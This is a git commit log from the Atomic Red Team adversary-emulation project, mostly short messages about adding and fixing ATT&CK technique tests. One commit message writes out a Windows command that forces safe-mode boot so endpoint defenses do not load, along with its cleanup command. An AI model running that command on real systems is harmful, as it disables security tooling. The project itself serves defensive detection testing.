Atomic Red Team GUID generator 8f8d90d9b1 Generate GUIDs from job=generate-docs branch=master [skip ci] 2023-06-26 21:54:44 +00:00
Israel Anitube 5a58c4aafa Create T1562.009.yaml with "Impair Defenses - Safe Boot Mode" (#2472)
* Create T1562.009.yaml

Details:
Allows adversaries to abuse safe mode to disable endpoint defenses that may not start with limited boot. This is achieved by modifying Boot Configuration Data (BCD) stores, which are files that manage boot application settings. Applying the following command which requires elevated privileges, causes the sytsem to boot in safe mode at next startup or restart.

"bcdedit /set safeboot network"

Testing
Testing was successfully carried out on Win 10 x64.
Cleanup commands "bcdedit /deletevalue {current} safeboot" was used to restore boot to normal

Associated Issues
None.

* Update T1562.009.yaml

---------

Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2023-06-26 15:53:53 -06:00
Atomic Red Team doc generator 0bf9a391c5 Generated docs from job=generate-docs branch=master [ci skip] 2023-06-26 20:40:02 +00:00
Atomic Red Team GUID generator cfaea8c1fb Generate GUIDs from job=generate-docs branch=master [skip ci] 2023-06-26 20:39:45 +00:00
jonod8698 a99fe1ba3d Add T1539 macOS Chrome Remote Debugging (#2469)
* Add T1539 macOS Chrome Remote Debugging

* Split into 2 prereqs & specify /tmp

---------

Co-authored-by: Jonathan Duan <jduan@neptsec.com>
Co-authored-by: Hare Sudhan <code@0x6c.dev>
2023-06-26 16:39:06 -04:00
Atomic Red Team doc generator 26398fb9c6 Generated docs from job=generate-docs branch=master [ci skip] 2023-06-26 20:31:24 +00:00
Atomic Red Team GUID generator 47894bd586 Generate GUIDs from job=generate-docs branch=master [skip ci] 2023-06-26 20:31:07 +00:00
Kevin Stapleton 604f016a2c Added Linux Tests to T1069.002, T1087.002, T1136.002 (#2468)
* adding linux client test to T1069.002 AD tests

* changed prereq for packages

* temp removing prereq

* adding first prereq

* prereq fails

* trying elevated permissions

* alright, no prereq

* Revert "temp removing prereq"

This reverts commit 3bc8ef5fb22dc09fa1ca2ad5282cbdbaf55280de.

* should work now

* removing prereq entirely

* correct dependency_executor

* adding prereq check for all packages

* adding input arg for password

* changing command to autoinclude password

* back to original command, starting work on 1078

* back to original command, starting work on 1078

* putting echo on command for runner to see arguments supplied

* continuing work on 1078

* first attempt at T1078.002

* removed extraneous code

* temp remove cleanup

* removed flag on echo

* updated first comand

* updating input variable ref

* removing flag again

* updating ou

* attempting to change ou to cn

* new uid

* explictely defining dc

* more attempts

* changed uid

* removed first uid

* trying without num

* changing cn back to ou

* change case

* fixed dc

* removing second dc ref

* following IBM guide

* removed extraneous space

* space between userpassword

* reintroducing dc

* added echo

* trying something new

* updated echo

* adding back admin user input

* attempting default

* trying add to previous group

* revert back to just admin user

* missed #

* adding back -x

* making ou and cn match

* attempting to match search style

* removing space

* improved formatting

* simplified

* replacing authentication

* -D object

* reintroduced admin user

* fixed top level domain

* return to old

* holding breath

* setting user to just person type

* removing uid from front

* changing dc

* trying to update cn

* update cn

* changing to object form... again

* chat gpt wrote this

* added cleanup

* updating command

* removed space

* added space

* revert from object

* looking into issues with cleanup command being unable to find user (yet it already exists)

* changed ldapdelete to ldapmodify

* updating temporary user name

* fixing typo in cleanup command

* creating new yaml file for T1136, similar to T1078. Future plans to modify T1078.002 to either run a process or elevate a user

* first attempt at creating domain admin

* changing CN to Domain Admins

* improved formatting (getting error 32)

* changing ldif file echo

* ldapadd to ldapmodify

* adding domain admins domain if it doesn't exist

* redo formatting

* removing create domain admin group

* trying ldapadd again

* updating prereq commands, removing admin requirement from ldapsearchs

* adding linux client test to T1069.002 AD tests

* changed prereq for packages

* temp removing prereq

* adding first prereq

* prereq fails

* trying elevated permissions

* alright, no prereq

* Revert "temp removing prereq"

This reverts commit 3bc8ef5fb22dc09fa1ca2ad5282cbdbaf55280de.

* should work now

* removing prereq entirely

* correct dependency_executor

* adding prereq check for all packages

* adding input arg for password

* changing command to autoinclude password

* back to original command, starting work on 1078

* back to original command, starting work on 1078

* putting echo on command for runner to see arguments supplied

* continuing work on 1078

* first attempt at T1078.002

* removed extraneous code

* temp remove cleanup

* removed flag on echo

* updated first comand

* updating input variable ref

* removing flag again

* updating ou

* attempting to change ou to cn

* new uid

* explictely defining dc

* more attempts

* changed uid

* removed first uid

* trying without num

* changing cn back to ou

* change case

* fixed dc

* removing second dc ref

* following IBM guide

* removed extraneous space

* space between userpassword

* reintroducing dc

* added echo

* trying something new

* updated echo

* adding back admin user input

* attempting default

* trying add to previous group

* revert back to just admin user

* missed #

* adding back -x

* making ou and cn match

* attempting to match search style

* removing space

* improved formatting

* simplified

* replacing authentication

* -D object

* reintroduced admin user

* fixed top level domain

* return to old

* holding breath

* setting user to just person type

* removing uid from front

* changing dc

* trying to update cn

* update cn

* changing to object form... again

* chat gpt wrote this

* added cleanup

* updating command

* removed space

* added space

* revert from object

* looking into issues with cleanup command being unable to find user (yet it already exists)

* changed ldapdelete to ldapmodify

* updating temporary user name

* fixing typo in cleanup command

* creating new yaml file for T1136, similar to T1078. Future plans to modify T1078.002 to either run a process or elevate a user

* first attempt at creating domain admin

* changing CN to Domain Admins

* improved formatting (getting error 32)

* changing ldif file echo

* ldapadd to ldapmodify

* adding domain admins domain if it doesn't exist

* redo formatting

* removing create domain admin group

* trying ldapadd again

* updating prereq commands, removing admin requirement from ldapsearchs

* small changes to search parameters

* changed Domains search to search for Domain Users

* added objectClass=group flag

* separating flag from string

* removing T1078, to be done in future

* added {cleartext} to admin password

* restoring deleted file. My antivirus really hates this file...

* update for spec

* update to spec

* adding name to atomic test

* moved from deprecated -h -p flags to -H flag

* fix cleanup commands with same flag changes

* add ldap://

* removing unused input variable, domain controller

* final commit, all tests passed with -H, updating the desc of T1136.002/4

---------

Co-authored-by: Hare Sudhan <code@0x6c.dev>
2023-06-26 16:30:28 -04:00
Atomic Red Team doc generator 5360c9d9ff Generated docs from job=generate-docs branch=master [ci skip] 2023-06-23 23:10:43 +00:00
hRun df3e84d861 Correct T1547.004 Winlogon Notification test (#2470)
* Corrected T1547.004 Winlogon Notification test

* Added hint on deprecation

---------

Co-authored-by: Hare Sudhan <code@0x6c.dev>
2023-06-23 17:09:45 -06:00
Atomic Red Team doc generator 3d463e9be0 Generated docs from job=generate-docs branch=master [ci skip] 2023-06-23 22:43:43 +00:00
Atomic Red Team GUID generator a5741ecb8f Generate GUIDs from job=generate-docs branch=master [skip ci] 2023-06-23 22:43:25 +00:00
Bhavin Patel ec3898e65b Merge pull request #2457 from redcanaryco/gcp-atomic-additions
Add GCP Atomics
2023-06-23 15:42:08 -07:00
Hare Sudhan f10b65a2ea add terraform files for T1098-17 2023-06-22 21:21:40 -04:00
Hare Sudhan 21129d8e95 Merge branch 'master' into gcp-atomic-additions 2023-06-22 20:38:13 -04:00
Hare Sudhan 098518241a fix T1078.004 2023-06-22 20:37:31 -04:00
Hare Sudhan 63a994cf86 fix terraform; move gcloud login to deps 2023-06-22 20:34:28 -04:00
Atomic Red Team doc generator 0f229c0e42 Generated docs from job=generate-docs branch=master [ci skip] 2023-06-16 03:55:19 +00:00
Atomic Red Team GUID generator 6ce797c851 Generate GUIDs from job=generate-docs branch=master [skip ci] 2023-06-16 03:55:01 +00:00
amalone-scwx 98bcc73b89 Add T1036.004 linux test rename process comm using prctl PR_SET_NAME (#2458)
* Add T1036.004 linux test rename process comm using prctl PR_SET_NAME

* fixing test to work with invoke-atomic

---------

Co-authored-by: Hare Sudhan <code@0x6c.dev>
2023-06-15 23:54:21 -04:00
Atomic Red Team doc generator 2b77bcb303 Generated docs from job=generate-docs branch=master [ci skip] 2023-06-15 22:33:14 +00:00
Carrie Roberts a8fe2d2d77 mv adfind to bin (#2465)
* move adfind to external resource

* mv adfind to bin
2023-06-15 16:32:13 -06:00
Atomic Red Team doc generator 282a250cc9 Generated docs from job=generate-docs branch=master [ci skip] 2023-06-15 21:42:03 +00:00
Carrie Roberts 32a4415e43 move adfind to external resource (#2464) 2023-06-15 15:40:50 -06:00
Atomic Red Team doc generator 868f5477f6 Generated docs from job=generate-docs branch=master [ci skip] 2023-06-15 19:53:19 +00:00
Carrie Roberts 586818a01f use ExternalPayloads folder (#2462)
* use ExternalPayloads folder

* psexec as external dependency

* psexec as external dependency
2023-06-15 13:52:16 -06:00
Atomic Red Team doc generator 7a430d5794 Generated docs from job=generate-docs branch=master [ci skip] 2023-06-15 19:00:19 +00:00
Michael Haag 186b743391 Update T1553.005.yaml (#2463)
ISO would mount but was not able to run the .exe. I fixed it. Now it works!
2023-06-15 12:59:17 -06:00
Atomic Red Team doc generator 84215139ee Generated docs from job=generate-docs branch=master [ci skip] 2023-06-15 16:29:11 +00:00
Carrie Roberts db1a2cf461 removing: Disable Defender with Defender Control (#2461) 2023-06-15 10:28:12 -06:00
Atomic Red Team doc generator cef46e4479 Generated docs from job=generate-docs branch=master [ci skip] 2023-06-15 16:17:12 +00:00
Carrie Roberts 068d32b1ea use ExternalPayloads directory (#2460)
* use ExternalPayloads directory

* use ExternalPayloads directory

* use ExternalPayloads directory
2023-06-15 10:16:12 -06:00
Atomic Red Team doc generator 199dd7f85d Generated docs from job=generate-docs branch=master [ci skip] 2023-06-14 20:25:05 +00:00
Carrie Roberts 3e4e817aa4 Add ExternalPayloads folder for downloaded prerequisites (#2459)
* use ExternalPayloads folder for prereqs

* git ignore ExternalPayloads folder

* move External folder up one directory
2023-06-14 14:24:03 -06:00
Atomic Red Team doc generator 085b3ec2c9 Generated docs from job=generate-docs branch=master [ci skip] 2023-06-14 00:21:58 +00:00
Atomic Red Team GUID generator 855857d46b Generate GUIDs from job=generate-docs branch=master [skip ci] 2023-06-14 00:21:36 +00:00
Bhavin Patel a6889a0c82 Merge pull request #2396 from D4rkCiph3r/D4rkCiph3r-T1486
Added 3 new tests - macOS T1486
2023-06-13 17:20:34 -07:00
Bhavin Patel 6d08edbdf0 Update T1486.yaml 2023-06-13 17:19:05 -07:00
Bhavin Patel f7f5761ccf Update T1486.yaml
CI fixes
2023-06-13 17:17:54 -07:00
Bhavin Patel 3738aed0eb Merge branch 'master' into D4rkCiph3r-T1486 2023-06-13 17:12:10 -07:00
Bhavin Patel eaba80503f Update T1486.yaml 2023-06-13 17:10:41 -07:00
Bhavin Patel 38687e45ad Update T1486.yaml
updated prereqs for two tests, remove ccrypt test since it does not work with art and testing
2023-06-13 17:10:04 -07:00
Hare Sudhan 336f8976d7 Merge branch 'master' into gcp-atomic-additions 2023-06-11 23:48:43 -04:00
Atomic Red Team doc generator d8c164d3e6 Generated docs from job=generate-docs branch=master [ci skip] 2023-06-10 05:19:16 +00:00
Hare Sudhan 65c5514899 Merge pull request #2452 from amalone-scwx/am_args
parameterize T1070.002 tests
2023-06-10 01:18:17 -04:00
Hare Sudhan d22b91cde8 Merge branch 'master' into am_args 2023-06-10 01:15:53 -04:00
Atomic Red Team doc generator 49e9c5e04e Generated docs from job=generate-docs branch=master [ci skip] 2023-06-09 22:36:42 +00:00
Bhavin Patel d025cb21db Merge pull request #2451 from cnotin/pr-remove-pfx-export
No need to export the PFX to get the public certificate, so removed it
2023-06-09 15:35:48 -07:00
Bhavin Patel 0d9659b915 Merge branch 'master' into pr-remove-pfx-export 2023-06-09 15:34:37 -07:00
Alex M 546ed5ea1e backout changes to log -f 2023-06-09 13:05:25 -07:00
Hare Sudhan d50b6d69d8 fixing tfvars 2023-06-09 15:54:45 -04:00
Hare Sudhan c844ae9ad5 adding terraform files for T1485
adding terraform files for T1485
2023-06-09 15:53:07 -04:00
Paul 3c8f4a40f0 Add GCP Atomics
Created 4 GCP-based atomics
2023-06-09 09:43:12 -07:00
Alonso Cárdenas 03aca258ad Fix validate issues 2023-06-09 11:36:41 -05:00
Alonso Cárdenas c8ff41197a Change Systemd by SysV on FreeBSD entry 2023-06-09 11:00:52 -05:00
Alonso Cárdenas 3b8d0af302 Remove auto_generated_guid lines from new entries
Some other tiny modifications
2023-06-09 09:11:41 -05:00
Hare Sudhan 74e8721392 Include freebsd in the schema 2023-06-09 01:27:31 -04:00
Hare Sudhan 9abf64e59a Merge branch 'master' into master 2023-06-09 01:23:23 -04:00
Hare Sudhan 43ee8b0926 Merge branch 'master' into am_args 2023-06-09 01:22:19 -04:00
Atomic Red Team doc generator 05fbaf32c9 Generated docs from job=generate-docs branch=master [ci skip] 2023-06-09 05:20:32 +00:00
Atomic Red Team GUID generator d0660c50b6 Generate GUIDs from job=generate-docs branch=master [skip ci] 2023-06-09 05:20:12 +00:00
Hare Sudhan f1d348c75f Merge branch 'master' into am_args 2023-06-09 01:20:06 -04:00
Hare Sudhan 0884a9ea9e Merge pull request #2455 from traceflow/master
adding new test in T1176 - Load unpacked extension with command line
2023-06-09 01:19:18 -04:00
Hare Sudhan d8580af708 Fix indentation 2023-06-09 01:15:22 -04:00
Hare Sudhan 5c0e27d906 Merge branch 'master' into am_args 2023-06-09 00:40:10 -04:00
traceflow dab845d335 adding new test in T1176 - Load unpacked extension with command line 2023-06-08 19:37:24 +00:00
Jose Enrique Hernandez 781b1dbf0b Merge branch 'master' into master 2023-06-08 13:05:21 -04:00
traceflow 5428e3bf1e adding new test in T1176 - Load unpacked extension with command line 2023-06-06 18:55:08 +00:00
traceflow cee7f2ab5e adding new test in T1176 - Load unpacked extension with command line 2023-06-06 18:51:22 +00:00
traceflow aa3e4cea3e adding new test in T1176 - Load unpacked extension with command line 2023-06-06 17:48:05 +00:00
Alex M a7cc448291 arg types lowercase string 2023-06-05 20:32:06 -07:00
Atomic Red Team doc generator 4a36531a81 Generated docs from job=generate-docs branch=master [ci skip] 2023-06-05 20:03:18 +00:00
Bhavin Patel 0d6f954bf4 Merge pull request #2437 from cyberbuff/t1078_tf
Update T1078.004
2023-06-05 13:02:18 -07:00
Bhavin Patel 880da0b732 Merge branch 'master' into t1078_tf 2023-06-05 13:01:15 -07:00
Atomic Red Team doc generator 4fc3b697d1 Generated docs from job=generate-docs branch=master [ci skip] 2023-06-05 19:58:44 +00:00
Atomic Red Team GUID generator 9743e496f6 Generate GUIDs from job=generate-docs branch=master [skip ci] 2023-06-05 19:58:27 +00:00
Bhavin Patel e5accaadb2 Merge pull request #2432 from blueteam0ps/patch-10
Update T1562.008.yaml
2023-06-05 12:57:40 -07:00
Bhavin Patel 8d54f69b37 Update T1562.008.yaml 2023-06-05 12:56:36 -07:00
Alex M 40fe1f7cf7 change defaults to system_log_name2 and 3 2023-06-04 13:25:12 -07:00
Alex M 211101b319 fix elevation required on a couple 2023-06-04 13:16:43 -07:00
Alex M 2f0b0d79c1 fix default for system.log in 989cc1b1 2023-06-04 12:56:50 -07:00
Alex M a0e412b702 fix syntax 2023-06-04 09:10:55 -07:00
Alex M 96d3881149 parameterize T1070.002 tests for optional non-destructive runs 2023-06-04 09:01:22 -07:00
BlueTeamOps 31c61d70ef Merge branch 'redcanaryco:master' into patch-10 2023-06-03 23:04:37 +10:00
Clément Notin f5ce8af9a4 No need to export the PFX to get the public certificate, so removed it 2023-06-02 17:28:23 +02:00
Alonso Cárdenas 765445a51a Add support for FreeBSD 2023-06-01 22:16:56 -05:00
Alonso Cárdenas 97cd6fc8fe - Add freebsd test 2023-06-01 22:10:20 -05:00
Alonso Cárdenas 86913f3573 Merge branch 'master' of https://github.com/alonsobsd/atomic-red-team 2023-06-01 22:03:39 -05:00
Alonso Cárdenas c960254da1 Try to fix conflicts 2023-06-01 21:06:47 -05:00
Alonso Cárdenas b26e90f980 Fix conflicts 2023-06-01 21:01:04 -05:00
Atomic Red Team doc generator f51b61321b Generated docs from job=generate-docs branch=master [ci skip] 2023-06-02 01:16:22 +00:00
Atomic Red Team GUID generator 992ce5a4ce Generate GUIDs from job=generate-docs branch=master [skip ci] 2023-06-02 01:16:02 +00:00
Jose Enrique Hernandez bee33f444a Merge pull request #2369 from iai-rsa/T1562.004
update T1562.004 with more commands
2023-06-01 21:15:13 -04:00
Jose Enrique Hernandez 1663919f61 removed unecessary field 2023-06-01 21:11:47 -04:00
Jose Enrique Hernandez be7294e5bc removed extra guid field 2023-06-01 21:06:22 -04:00
Jose Enrique Hernandez 6e1d414a6e Merge branch 'master' into T1562.004 2023-06-01 21:03:56 -04:00
Atomic Red Team doc generator 215898b25a Generated docs from job=generate-docs branch=master [ci skip] 2023-06-01 20:25:44 +00:00
Atomic Red Team GUID generator 53bb17be7c Generate GUIDs from job=generate-docs branch=master [skip ci] 2023-06-01 20:25:27 +00:00
Hare Sudhan 22150beff8 Merge pull request #2427 from aranhams/patch-1
Add new atomic test to T1140.yaml
2023-06-01 16:24:41 -04:00
Hare Sudhan 5b570a0f4d Merge branch 'master' into patch-1 2023-06-01 13:53:52 -04:00
Atomic Red Team doc generator 210485a6d3 Generated docs from job=generate-docs branch=master [ci skip] 2023-05-31 21:17:38 +00:00
Carrie Roberts af9378c9f3 update executor (#2444)
* update executor

* Update T1016.yaml

---------

Co-authored-by: Michael Haag <5632822+MHaggis@users.noreply.github.com>
2023-05-31 15:16:42 -06:00
Atomic Red Team doc generator cb29aa596f Generated docs from job=generate-docs branch=master [ci skip] 2023-05-31 21:08:41 +00:00
Carrie Roberts 35c539e776 move PS1 to src (#2443)
Co-authored-by: Michael Haag <5632822+MHaggis@users.noreply.github.com>
2023-05-31 15:07:35 -06:00
Atomic Red Team doc generator 03e04d3994 Generated docs from job=generate-docs branch=master [ci skip] 2023-05-31 21:04:38 +00:00
Carrie Roberts bf2a19d672 handle null value in prereq (#2442)
Co-authored-by: Michael Haag <5632822+MHaggis@users.noreply.github.com>
2023-05-31 15:03:42 -06:00
Atomic Red Team doc generator a95bc62be4 Generated docs from job=generate-docs branch=master [ci skip] 2023-05-31 20:57:54 +00:00
Atomic Red Team GUID generator d7191cd8b1 Generate GUIDs from job=generate-docs branch=master [skip ci] 2023-05-31 20:57:30 +00:00
KillrBunn3 f19429af8c New test under T1027: Executing zipped JavaScript using WScript (#2447)
* Update T1027.yaml

This test is intended to closely emulate Gootloader's patterns of execution - launching a js file through wscript after being unpacked from a .zip.

* leave prereq files in place

---------

Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2023-05-31 15:56:36 -05:00
Atomic Red Team doc generator b471d4cc2b Generated docs from job=generate-docs branch=master [ci skip] 2023-05-31 20:54:37 +00:00
Carrie Roberts 3ee287e1e3 restart rdp after changes (#2449)
Co-authored-by: Michael Haag <5632822+MHaggis@users.noreply.github.com>
2023-05-31 14:53:42 -06:00
Atomic Red Team doc generator a59de488ff Generated docs from job=generate-docs branch=master [ci skip] 2023-05-31 20:51:23 +00:00
KillrBunn3 65294196d0 Spelling adjustments (#2448)
Looking over the YAMLs mostly, only changes for readability or accuracy
2023-05-31 15:50:22 -05:00
Atomic Red Team doc generator 1c1f63ede7 Generated docs from job=generate-docs branch=master [ci skip] 2023-05-30 21:22:52 +00:00
Atomic Red Team GUID generator 3791f515f2 Generate GUIDs from job=generate-docs branch=master [skip ci] 2023-05-30 21:22:34 +00:00
Alphonsa George 52530d45d1 Adding atomics to emulate suspicious LAPS attribute queries (#2445)
* Adding atomics to emulate suspicious LAPS attribute queries

* Adding atomics to emulate suspicious LAPS attribute queries

* Adding atomics to emulate suspicious LAPS attribute queries

---------

Co-authored-by: alphonsa-01 <NA>
2023-05-30 16:21:54 -05:00
Hare Sudhan 4b5d264468 Merge branch 'master' into patch-1 2023-05-29 09:07:46 -04:00
Hare Sudhan d5d4fd7985 Merge branch 'master' into t1078_tf 2023-05-29 09:04:35 -04:00
Atomic Red Team doc generator 417ee7ba17 Generated docs from job=generate-docs branch=master [ci skip] 2023-05-28 02:35:16 +00:00
Hare Sudhan 4817d52334 Merge pull request #2441 from redcanaryco/clr2of8-patch-37 2023-05-27 22:34:11 -04:00
Matheus Aranha 87e2c0406a fix: removed GUID field 2023-05-27 20:50:57 +02:00
Carrie Roberts 0665611356 elevation not required for password changes 2023-05-26 19:04:02 -06:00
Atomic Red Team doc generator 35fa10287e Generated docs from job=generate-docs branch=master [ci skip] 2023-05-26 20:46:19 +00:00
Atomic Red Team GUID generator bafcc36958 Generate GUIDs from job=generate-docs branch=master [skip ci] 2023-05-26 20:46:01 +00:00
Hare Sudhan 7038a5299f Merge pull request #2440 from clr2of8/password-policy-checks
Password policy checks
2023-05-26 16:45:17 -04:00
Carrie Roberts a62d04d488 fix double quotes 2023-05-26 14:37:52 -06:00
Carrie Roberts 897aad996c Merge branch 'master' into password-policy-checks 2023-05-25 18:54:07 -05:00
clr2of8 be43e3cc29 password policy checks 2023-05-25 17:53:13 -06:00
clr2of8 6a45233b2a password policy checks 2023-05-25 17:45:35 -06:00
clr2of8 652d372f4d password policy checks 2023-05-25 17:42:04 -06:00
Jose Enrique Hernandez cfe582b2b2 Merge branch 'master' into patch-1 2023-05-25 13:28:43 -04:00
Atomic Red Team doc generator f5564f54bf Generated docs from job=generate-docs branch=master [ci skip] 2023-05-25 13:26:28 +00:00
Atomic Red Team GUID generator 6b0a8417fd Generate GUIDs from job=generate-docs branch=master [skip ci] 2023-05-25 13:26:11 +00:00
Paul 964c1296bd Update T1069.002.yaml (#2439) 2023-05-25 07:25:15 -06:00
Hare Sudhan e555d6e124 Merge branch 'master' into t1078_tf 2023-05-24 17:59:28 -04:00
Hare Sudhan b262c88ac8 minor bug fix for the validation and labels (#2438) 2023-05-24 11:08:41 -05:00
Hare Sudhan aef9160e90 fix tfvars 2023-05-24 01:29:41 -04:00
Hare Sudhan 24c923cc4f fix typo 2023-05-24 01:05:57 -04:00
Hare Sudhan 17859b19ef adding terraform prereqs 2023-05-24 00:33:17 -04:00
Atomic Red Team doc generator c3438e27b7 Generated docs from job=generate-docs branch=master [ci skip] 2023-05-23 14:13:38 +00:00
Hare Sudhan 47f54670b7 Merge pull request #2434 from clr2of8/1098-regex
fix regex issue
2023-05-23 10:12:48 -04:00
Hare Sudhan 34145f6ad2 Merge branch 'master' into 1098-regex 2023-05-23 10:06:08 -04:00
Atomic Red Team doc generator 1359912ccc Generated docs from job=generate-docs branch=master [ci skip] 2023-05-23 13:41:00 +00:00
Atomic Red Team GUID generator 9468bfc13a Generate GUIDs from job=generate-docs branch=master [skip ci] 2023-05-23 13:40:42 +00:00
tccontre 215ead274f Update T1135.yaml - network share discovery via dir cmd (#2436)
Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2023-05-23 07:40:15 -06:00
dependabot[bot] 9751212d82 Bump requests from 2.30.0 to 2.31.0 (#2435)
Bumps [requests](https://github.com/psf/requests) from 2.30.0 to 2.31.0.
- [Release notes](https://github.com/psf/requests/releases)
- [Changelog](https://github.com/psf/requests/blob/main/HISTORY.md)
- [Commits](https://github.com/psf/requests/compare/v2.30.0...v2.31.0)

---
updated-dependencies:
- dependency-name: requests
  dependency-type: direct:production
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2023-05-23 07:36:37 -06:00
Atomic Red Team doc generator 7a75e19fb7 Generated docs from job=generate-docs branch=master [ci skip] 2023-05-23 02:49:16 +00:00
Atomic Red Team GUID generator bbc47aa361 Generate GUIDs from job=generate-docs branch=master [skip ci] 2023-05-23 02:48:59 +00:00
Hare Sudhan d14ba0aa18 Merge pull request #2428 from aranhams/patch-2
Add a new atomic test to T1560.001.yaml
2023-05-22 22:47:53 -04:00
clr2of8 0f2d35484f fix regex issue 2023-05-22 11:56:05 -06:00
BlueTeamOps 88e099fb7d Update T1562.008.yaml 2023-05-22 22:38:06 +10:00
Matheus Aranha c10aa03c2f fix: typo 2023-05-20 18:42:22 +02:00
Matheus Aranha 2e40537aaa fix: typo in file names, adding variables 2023-05-20 14:54:36 +02:00
Matheus Aranha fa94369982 fix: variable types 2023-05-20 01:26:01 +02:00
Matheus Aranha 02d7519ea3 fix: suggestions from comments added 2023-05-20 00:54:42 +02:00
Hare Sudhan 8044a8342d Merge branch 'master' into patch-2 2023-05-19 18:07:54 -04:00
Hare Sudhan ebdec5d757 Merge pull request #2430 from cyberbuff/auto-assign-labels
(enhancement) Auto assign labels and reviewers
2023-05-19 17:37:40 -04:00
Hare Sudhan b498741fa4 added auto assign code 2023-05-19 17:35:09 -04:00
Hare Sudhan b07f1125cf added auto assign code 2023-05-19 17:35:05 -04:00
Atomic Red Team doc generator 21509faf59 Generated docs from job=generate-docs branch=master [ci skip] 2023-05-19 17:13:28 +00:00
Atomic Red Team GUID generator 64f9f08766 Generate GUIDs from job=generate-docs branch=master [skip ci] 2023-05-19 17:13:07 +00:00
Nour Saffour 528c540e94 added T1505.005 technique (#2426)
* added T1505.005 technique

* include full technique name

---------

Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2023-05-19 11:12:19 -06:00
Atomic Red Team doc generator b1f3c968f2 Generated docs from job=generate-docs branch=master [ci skip] 2023-05-19 17:06:33 +00:00
Carrie Roberts 7955fa8daa update nav version and attack data (#2429) 2023-05-19 11:05:25 -06:00
Matheus Aranha 61f59e7541 Adding a new atomic test to T1560.001.yaml 2023-05-19 14:54:47 +02:00
Matheus Aranha 9bccf321f6 Add new atomic test to T1140.yaml
Adding new atomic test to T1140.
2023-05-19 14:43:45 +02:00
Atomic Red Team GUID generator 89b9c9c526 Generate GUIDs from job=generate-docs branch=master [skip ci] 2023-05-17 20:10:50 +00:00
Nour Saffour 80da053126 added T1070.008 to trigger alerts on file changes to the mail box (#2421)
* added T1070.008 to trigger alerts on file changes to the mail box

* updated command to use schtasks instead of the deprecated at.exe

* Update T1053.002.yaml

* Update T1053.002.yaml

* Update T1053.002.yaml

* Update T1053.002.yaml

---------

Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2023-05-17 14:10:00 -06:00
Atomic Red Team GUID generator 8037cadb4d Generate GUIDs from job=generate-docs branch=master [skip ci] 2023-05-17 19:46:06 +00:00
Leo Verlod 7b7097d069 Adding T1219 Test 11 - MSP360 Connect Execution (#2420)
Thank you Leo!
2023-05-17 13:45:25 -06:00
Hare Sudhan a3ff1d8d40 validation fix (#2425) 2023-05-17 13:38:27 -06:00
Hare Sudhan e563055a69 (enhancement) CI validations (#2419)
* more validations added

* rename bin

* fnmatch fix
2023-05-15 09:36:19 -06:00
Josh Rickard 284886292b Atomic Red Team - JSON Schema Validation CI (#2303)
* feat: Adding atomic-red-team JSON Schema defintions

* feat: Adding validate.py script to validate all atomics against the defined schema

* feat: Adding validate-schema GitHub Workflow action to validate on every push to the repo

* ci: Updated the validate-schema workflow to support and use Ruby instead of python

* fix: Updated schema to remove schema draft version (not necessarily needed) and update to remove elevation_required as a required defined property

* fix: Removed the yaml schema version

* docs: Adding start of README

* fix: Adding an updated/better version of the python validation but may ultimately be removed

* feat: Adding Ruby version of validate.rb script

* fix: Removing files not needed since we are changing to github action and using the new validation code

* fix: Adding the yaml schema file back and removed the json version

* docs: Updated README with documentation

* fix: Updating schema to use new format validator

* fix: Updated validate.rb to verify that the Technique IDs are in the correct format.

* fix: Upating validate.rb to raise execptions so that failures flow up to the GitHub Action workflow

* fix: Updated all tests that have input_arguments not conformaing to schema defintion for type value of path

* fix: Updating the Validaton README for typos

* fixL: Minor updates to the schema

* minor schema changes

* github actions fix

* schema changes

---------

Co-authored-by: MSAdministrator <MSAdministrator@users.noreply.github.com>
Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
Co-authored-by: Hare Sudhan <code@0x6c.dev>
2023-05-12 15:33:47 -06:00
Jiaxi ® 9a70b81004 fix: T1219 typo (#2417)
Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2023-05-11 15:25:07 -06:00
Atomic Red Team GUID generator 2a51677203 Generate GUIDs from job=generate-docs branch=master [skip ci] 2023-05-11 20:40:32 +00:00
Paul dd810e48ca Merge pull request #2418 from redcanaryco/snake-malware
Snake Malware Atomic Tests
2023-05-11 16:39:50 -04:00
Michael Haag 1ebcb346f6 Snake Malware Atomic Tests 2023-05-11 12:40:31 -06:00
Atomic Red Team GUID generator 4177d016ad Generate GUIDs from job=generate-docs branch=master [skip ci] 2023-05-09 19:38:56 +00:00
Michael Haag 7b2ba6e0ac modify BootExecute (#2412)
* modify BootExecute

* Update T1547.001.yaml

* Update T1547.001.yaml

---------

Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2023-05-09 13:38:16 -06:00
Alonso Cárdenas baf012d844 Fix conflicts 2023-05-09 13:00:05 -05:00
Alonso Cárdenas 896859a15f Fix conflicts 2023-05-09 12:57:04 -05:00
Alonso Cárdenas 8b8a25368c - Fix conflicts 2023-05-09 12:55:50 -05:00
Alonso Cárdenas aad4f9e1fb - Fix conflicts 2023-05-09 12:46:06 -05:00
Paul 9da60cf675 Update T1555.003.yaml (#2414)
Update the version of LaZagne to 2.4.5

Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2023-05-09 10:30:06 -06:00
amalone-scwx e6390f6417 minor cleanup to dependencies and exit codes (#2415) 2023-05-09 10:26:45 -06:00
Alonso Cárdenas 059870373c Make sh friendly 2023-05-09 01:13:59 -05:00
Alonso Cárdenas f1c5a9be03 Add FreeBSD support 2023-05-08 11:06:08 -05:00
Bhavin Patel 22303c5ef2 Merge branch 'master' into D4rkCiph3r-T1486 2023-05-04 14:06:04 -07:00
Atomic Red Team GUID generator 5cec783687 Generate GUIDs from job=generate-docs branch=master [skip ci] 2023-05-04 21:05:04 +00:00
Bhavin Patel 9f46b9ff0a Merge pull request #2388 from D4rkCiph3r/T1531
Added 3 new tests - macOS & Linux T1531
2023-05-04 14:04:29 -07:00
Bhavin Patel 137a0bea8f Updated atomics after testing locally
The atomic seems to run, tested by running commands locaally!
2023-05-04 14:02:01 -07:00
Bhavin Patel 25ce5eaf94 Merge branch 'master' into T1531 2023-05-04 13:44:06 -07:00
Atomic Red Team GUID generator 1909b10c4d Generate GUIDs from job=generate-docs branch=master [skip ci] 2023-04-27 16:10:20 +00:00
